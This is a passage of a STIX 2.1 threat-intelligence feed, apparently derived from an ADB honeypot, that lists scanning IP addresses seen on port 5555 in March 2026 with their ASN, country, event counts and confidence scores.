        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T00:00:04.000Z",
      "valid_until": "2026-04-20T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-18T23:40:58.000Z",
          "last_seen": "2026-03-18T23:42:08.246Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T00:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-18T23:40:58.000Z | last_seen=2026-03-18T23:42:08.246Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--aca9cd00-e325-4d36-98b8-edde898b42f3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T00:00:04.000Z",
      "valid_until": "2026-04-20T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-18T23:40:58.000Z",
          "last_seen": "2026-03-18T23:42:08.246Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=148 | first_seen=2026-03-19T00:12:33.000Z | last_seen=2026-03-26T17:48:20.847Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--f56e0486-b9be-40b7-9fb4-da7653d390eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T01:00:03.000Z",
      "valid_until": "2026-04-20T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 148,
          "first_seen": "2026-03-19T00:12:33.000Z",
          "last_seen": "2026-03-26T17:48:20.847Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=148 | first_seen=2026-03-19T00:12:33.000Z | last_seen=2026-03-26T17:48:20.847Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--f56e0486-b9be-40b7-9fb4-da7653d390eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T01:00:03.000Z",
      "valid_until": "2026-04-20T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 148,
          "first_seen": "2026-03-19T00:12:33.000Z",
          "last_seen": "2026-03-26T17:48:20.847Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-19T01:06:24.000Z | last_seen=2026-03-23T16:11:27.611Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--f6c7b444-5c66-4a45-9dd1-ce918358dc49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:00:05.000Z",
      "valid_until": "2026-04-20T02:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-19T01:06:24.000Z",
          "last_seen": "2026-03-23T16:11:27.611Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-19T01:06:23.000Z | last_seen=2026-03-19T01:07:32.245Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--8230ab5e-3db6-4e69-8ac0-44de772e8ef6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:00:05.000Z",
      "valid_until": "2026-04-20T02:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-19T01:06:23.000Z",
          "last_seen": "2026-03-19T01:07:32.245Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-19T01:06:24.000Z | last_seen=2026-03-23T16:11:27.611Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--f6c7b444-5c66-4a45-9dd1-ce918358dc49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:00:05.000Z",
      "valid_until": "2026-04-20T02:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-19T01:06:24.000Z",
          "last_seen": "2026-03-23T16:11:27.611Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-19T01:06:23.000Z | last_seen=2026-03-19T01:07:32.245Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--8230ab5e-3db6-4e69-8ac0-44de772e8ef6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T02:00:05.000Z",
      "valid_until": "2026-04-20T02:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-19T01:06:23.000Z",
          "last_seen": "2026-03-19T01:07:32.245Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-19T02:24:02.000Z | last_seen=2026-03-19T07:26:41.936Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '192.46.221.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T03:00:03.000Z",
      "valid_until": "2026-04-20T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-19T02:24:02.000Z",
          "last_seen": "2026-03-19T07:26:41.936Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-19T02:24:02.000Z | last_seen=2026-03-19T07:26:41.936Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '192.46.221.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T03:00:03.000Z",
      "valid_until": "2026-04-20T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-19T02:24:02.000Z",
          "last_seen": "2026-03-19T07:26:41.936Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=80 | first_seen=2026-03-19T03:09:12.000Z | last_seen=2026-03-19T04:51:31.373Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--df7d28a3-cf14-4bc4-aa40-cdcedea70e3b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '129.212.230.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T04:00:04.000Z",
      "valid_until": "2026-04-20T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 80,
          "first_seen": "2026-03-19T03:09:12.000Z",
          "last_seen": "2026-03-19T04:51:31.373Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-19T04:39:17.000Z | last_seen=2026-03-19T04:49:24.941Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--32b7d5ca-172c-4226-a17e-6ba1a18f08b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '175.17.88.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:00:03.000Z",
      "valid_until": "2026-04-20T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-19T04:39:17.000Z",
          "last_seen": "2026-03-19T04:49:24.941Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T05:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-19T04:39:17.000Z | last_seen=2026-03-19T04:49:24.941Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--32b7d5ca-172c-4226-a17e-6ba1a18f08b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '175.17.88.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T05:00:12.000Z",
      "valid_until": "2026-04-20T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-19T04:39:17.000Z",
          "last_seen": "2026-03-19T04:49:24.941Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-19T06:58:19.000Z | last_seen=2026-03-19T07:08:49.994Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f01f35e4-c158-4b6c-b7e3-00d7486b0b25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.128.253.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:00:04.000Z",
      "valid_until": "2026-04-20T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-19T06:58:19.000Z",
          "last_seen": "2026-03-19T07:08:49.994Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-19T06:06:56.000Z | last_seen=2026-03-19T06:17:02.456Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:00:04.000Z",
      "valid_until": "2026-04-20T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-19T06:06:56.000Z",
          "last_seen": "2026-03-19T06:17:02.456Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-19T06:06:05.000Z | last_seen=2026-03-19T06:07:06.245Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--81417f5d-ba25-4991-a8a8-6f8a6059ce72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:00:04.000Z",
      "valid_until": "2026-04-20T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-19T06:06:05.000Z",
          "last_seen": "2026-03-19T06:07:06.245Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-19T06:58:19.000Z | last_seen=2026-03-19T07:08:49.994Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f01f35e4-c158-4b6c-b7e3-00d7486b0b25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.128.253.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:00:04.000Z",
      "valid_until": "2026-04-20T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
